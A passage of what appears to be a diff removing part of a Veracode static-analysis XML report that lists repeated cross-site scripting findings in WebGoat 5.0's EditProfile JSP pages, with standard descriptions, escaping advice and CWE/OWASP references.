-        The first argument to print() contains tainted data from the variable employee.getAddress1().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress1().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress1().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"224\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"5\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"83\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getAddress2().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getStartDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getStartDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getStartDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
